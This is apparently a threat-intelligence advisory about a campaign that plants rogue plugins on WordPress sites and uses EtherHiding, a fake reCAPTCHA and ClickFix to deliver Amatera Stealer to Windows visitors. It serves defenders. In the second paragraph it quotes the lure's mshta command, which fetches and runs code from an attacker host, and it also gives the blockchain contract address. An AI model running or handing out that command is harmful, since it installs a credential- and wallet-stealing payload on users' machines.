# Hundreds of WordPress Sites Hijacked via Malicious Plugins to Deploy Amatera Stealer through EtherHiding and ClickFix

> Netskope Threat Labs uncovered a campaign that plants rogue must-use WordPress plugins (site-helper-<hex>) registering a persistent malicious Service Worker (nochain-sw.js) which strips CSP headers, queries a Base blockchain smart contract via EtherHiding for a fake reCAPTCHA overlay, and uses ClickFix to trick Windows visitors into running an mshta command that unpacks a polyglot MP3/HTA file, bypasses AMSI, and reflectively loads the Amatera Stealer (aka ACR Stealer/AcridRain) via the Emmenhtal loader and steganographic image payload.

- **Published:** 2026-08-29T00:00:00Z
- **Last reviewed:** 2026-08-29T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-2214
- **ID:** TL-2026-2214
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 17 (full data via the Threadlinqs MCP server — Purple tier)

## Description

Attackers have compromised hundreds of self-hosted WordPress sites with a malicious must-use plugin named in the pattern site-helper-<hex>, which loads automatically and drops two scripts: front-probe.js and a Service Worker named nochain-sw.js. Once registered in a visitor's browser, the Service Worker persists beyond the initial page load, intercepts subsequent HTML responses, strips the Content-Security-Policy header, and injects attacker-controlled JavaScript. That injected script queries a smart contract on the Base blockchain (address 0x58460d0b3d4d6b03761c89120393c0c676676496) to fetch further instructions -- the EtherHiding technique -- which is resilient to takedown because the payload lives on an immutable, decentralized ledger rather than a seizable domain or host. The campaign deliberately filters out requests from /wp-admin and /wp-login.php and skips authenticated administrator sessions, reducing the odds that a site owner notices the infection.

For an ordinary Windows visitor, the resolved instructions render a counterfeit Google reCAPTCHA overlay. Clicking the fake verification checkbox copies a command (mshta http://timelevel12[.]com/big) to the clipboard and instructs the victim, via the ClickFix social-engineering pattern, to open the Windows Run dialog (Win+R), paste, and execute it. mshta.exe retrieves a polyglot file that is simultaneously a valid MP3 and an HTA application; the HTA layer creates a hidden scheduled task and launches an obfuscated, fileless PowerShell stage that patches/bypasses AMSI in memory before continuing execution. PowerShell then fetches the Emmenhtal loader, which downloads a steganographic JPEG (hosted on a legitimate image CDN) and extracts, decrypts, and decompresses a payload hidden in the image's pixel data. That payload is the Amatera Stealer -- distributed as WPA.exe -- which is loaded reflectively straight into memory with minimal disk artifacts.

Amatera is a rebrand and substantial upgrade of ACR Stealer (aka AcridRain), a C++ malware-as-a-service tool originally sold by the actor SheldIO until its source was sold off and original sales suspended in mid-2024. As documented independently by Proofpoint and Microsoft, Amatera targets dozens of Chromium and Gecko browsers plus scores of desktop cryptocurrency wallets, uses WoW64 syscalls with PEB-based dynamic API resolution to evade user-mode EDR hooks, implements a custom NTSockets networking stack to bypass network-based EDR hooking, and communicates with C2 infrastructure partly over DNS-over-HTTPS to obscure domain lookups. A closely related, independently reported Amatera/ACR intrusion chain also uses ClickFix plus MSHTA plus obfuscated PowerShell plus steganography-assisted in-memory execution, indicating this WordPress campaign reuses an established, actively maintained delivery toolkit rather than bespoke one-off tooling. A separate, contemporaneously reported campaign (WordlistLoader, attributed by other researchers to the EtherHiding-focused cluster UNC5142 abusing over 14,000 WordPress sites via a distinct Base64-blob JavaScript injection and WebDAV-delivered Python loader) also ends in Amatera execution, showing EtherHiding-plus-Amatera has become a repeatable pattern across at least two distinct delivery chains rather than a single actor's one-off campaign.

## MITRE ATT&CK

- T1204.004 Malicious Copy and Paste
- T1218.005 Mshta
- T1059.001 PowerShell
- T1053.005 Scheduled Task
- T1505 Server Software Component
- T1027.003 Steganography
- T1140 Deobfuscate/Decode Files or Information
- T1620 Reflective Code Loading
- T1685 Disable or Modify Tools
- T1555.003 Credentials from Web Browsers
- T1005 Data from Local System
- T1102.001 Dead Drop Resolver
- T1071.004 DNS
- T1587.001 Malware

## Sources

- [WordPress Service Worker Uses EtherHiding, ClickFix and Steganography to Deploy Amatera Stealer](https://cyberpress.org/wordpress-etherhiding-deploys-amatera/)
- [Hundreds of WordPress Sites Hijacked to Show Fake reCAPTCHA and Steal Windows Passwords](https://gbhackers.com/wordpress-sites-hijacked/)
- ['Etherhiding' Blockchain Technique Masks Malicious Code in WordPress Sites](https://www.darkreading.com/cyberattacks-data-breaches/etherhiding-blockchain-technique-hides-malicious-code-wordpress-sites)
- [WordlistLoader Delivers Amatera via ClickFix, SynkLoader Phishes Windows Passwords](https://thehackernews.com/2026/08/wordlistloader-delivers-amatera-via.html)
- [ACR Stealer: Two observed intrusion chains amid increased threat activity](https://www.microsoft.com/en-us/security/blog/2026/07/16/acr-stealer-two-observed-intrusion-chains-amid-increased-threat-activity/)
- [Amatera Stealer: Rebranded ACR Stealer With Improved Evasion, Sophistication](https://www.proofpoint.com/us/blog/threat-insight/amatera-stealer-rebranded-acr-stealer-improved-evasion-sophistication)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-2214